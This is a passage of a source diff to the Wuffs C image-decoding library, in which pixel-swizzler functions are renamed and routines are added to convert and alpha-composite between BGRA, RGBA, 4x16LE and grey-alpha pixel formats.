src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); + wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 4; + n -= 1; + } +@@ -23465,24 +24590,28 @@ wuffs_base__pixel_swizzler__xxxx__y(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len4 = dst_len / 4; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); + wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_premul_u32_axxx(d0, s0)); + +- s += 1 * 2; ++ s += 1 * 4; + d += 1 * 4; + n -= 1; + } +@@ -23490,33 +24619,36 @@ wuffs_base__pixel_swizzler__xxxx__y_16be(uint8_t* dst_ptr, + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + if (dst_palette_len != + WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { + return 0; + } +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4)))); ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + + s += 1 * 1; +- d += 1 * 8; ++ d += 1 * 4; + n -= 1; + } + +@@ -23524,33 +24656,30 @@ wuffs_base__pixel_swizzler__xxxxxxxx__index__src(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over( ++wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__color_u32__as__color_u64(s0)); +- } ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + +- s += 1 * 1; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 4; + n -= 1; + } + +@@ -23558,24 +24687,29 @@ wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), 0xFFFF000000000000 | (0x010101010101 * (uint64_t)s[0])); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); + +- s += 1 * 1; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 4; + n -= 1; + } + +@@ -23583,53 +24717,59 @@ wuffs_base__pixel_swizzler__xxxxxxxx__y(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { +- uint64_t s0 = +- ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(s + (0 * 2)))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), 0xFFFF000000000000 | (0x000100010001 * s0)); ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_premul_u32_axxx(d0, s0)); + +- s += 1 * 2; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 4; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__y__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len < src_len2) ? dst_len : src_len2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- d[0] = s[0]; ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); + + s += 1 * 2; +- d += 1 * 1; ++ d += 1 * 4; + n -= 1; + } + +@@ -23637,27 +24777,31 @@ wuffs_base__pixel_swizzler__y__y_16be(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__y_16le__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; ++wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- d[0] = s1; +- d[1] = s0; ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + + s += 1 * 2; +- d += 1 * 2; ++ d += 1 * 4; + n -= 1; + } + +@@ -23667,6862 +24811,6000 @@ wuffs_base__pixel_swizzler__y_16le__y_16be(uint8_t* dst_ptr, + // -------- + + static uint64_t // +-wuffs_base__pixel_swizzler__transparent_black_src( ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, +- uint64_t num_pixels, +- uint32_t dst_pixfmt_bytes_per_pixel) { +- uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; +- if (n > num_pixels) { +- n = num_pixels; ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ ++ size_t n = len; ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s2; ++ d[5] = s2; ++ d[6] = s3; ++ d[7] = s3; ++ ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- memset(dst_ptr, 0, ((size_t)(n * dst_pixfmt_bytes_per_pixel))); +- return n; ++ return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__transparent_black_src_over( ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, +- uint64_t num_pixels, +- uint32_t dst_pixfmt_bytes_per_pixel) { +- uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; +- if (n > num_pixels) { +- n = num_pixels; ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); ++ ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return n; ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__y(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- return wuffs_base__pixel_swizzler__copy_1_1; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__y; ++ s += 1 * 8; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__xxx__y; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__xxxx__y__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__xxxx__y; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__xxxxxxxx__y; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__y_16be(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- return wuffs_base__pixel_swizzler__y__y_16be; +- +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- return wuffs_base__pixel_swizzler__y_16le__y_16be; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- return wuffs_base__pixel_swizzler__copy_2_2; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_premul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__y_16be; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__xxx__y_16be; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__xxxx__y_16be; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__xxxxxxxx__y_16be; ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__indexed__bgra_nonpremul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_1_1; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888( +- dst_palette.ptr, dst_palette.len, src_palette.ptr, +- src_palette.len, true) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgr_565__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgr_565__index_bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s2; ++ d[1] = s2; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s0; ++ d[5] = s0; ++ d[6] = s3; ++ d[7] = s3; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxxxxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over; +- } +- return NULL; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( +- 